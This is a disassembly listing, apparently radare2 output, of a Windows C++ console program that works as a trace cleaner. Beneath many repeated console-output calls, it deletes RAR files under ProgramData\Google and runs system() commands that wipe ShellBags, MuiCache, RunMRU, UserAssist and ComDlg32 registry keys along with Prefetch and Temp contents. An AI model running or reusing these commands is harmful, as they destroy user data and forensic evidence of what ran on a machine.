mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3038]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3068]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037448]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3098]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1ea8]
call fcn.140011b36
nop
lea rdx, [0x140037470]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [rbp + 0x1ea8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011041
lea rcx, str.C:ProgramDataGooglejdk.rar
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:ProgramDataGooglelaunchdebag.rar
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:ProgramDataGooglelaunch_assets.rar
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:ProgramDataGooglelaunch_natives.rar
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x30c8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x30f8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3128]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037480]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3158]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1ee8]
call fcn.1400117d5
nop
lea r8, [rbp + 0x1ee8]
lea rdx, [0x1400374f0]
lea rcx, [rbp + 0x3188]
call fcn.14001107d
mov qword [rbp + 0x3e78], rax
mov rax, qword [rbp + 0x3e78]
mov qword [rbp + 0x3e80], rax
mov edx, 1
lea rcx, [rbp + 0x31c8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
mov rdx, qword [rbp + 0x3e80]
mov rcx, rax
call fcn.140011a05
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x3188]
call fcn.140011212
mov edx, 1
lea rcx, [rbp + 0x31f8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3228]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1f28]
call fcn.140011b36
nop
lea rdx, [0x140037500]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [rbp + 0x1f28]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011041
lea rdx, [0x140036958]
lea rcx, [rbp + 0x1f28]
call fcn.140011307
movzx eax, al
test eax, eax
je 0x14002651f
mov edx, 1
lea rcx, [rbp + 0x3258]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037510]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3288]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x32b8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x32e8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3318]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3348]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037778]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3378]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x33a8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.del_C:WindowsPrefetch__F__Q
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del_C:WindowsTemp__F__Q
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del_C:Users_USERNAME_AppDataLocalTemp__F__Q
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x33d8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3408]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.color_2
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 1
lea rcx, [rbp + 0x3438]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x1400378a8]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3468]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3498]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsage___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x34c8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x34f8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.color_2
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 1
lea rcx, [rbp + 0x3528]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037dc0]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3558]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3588]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist_
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x35b8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x35e8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
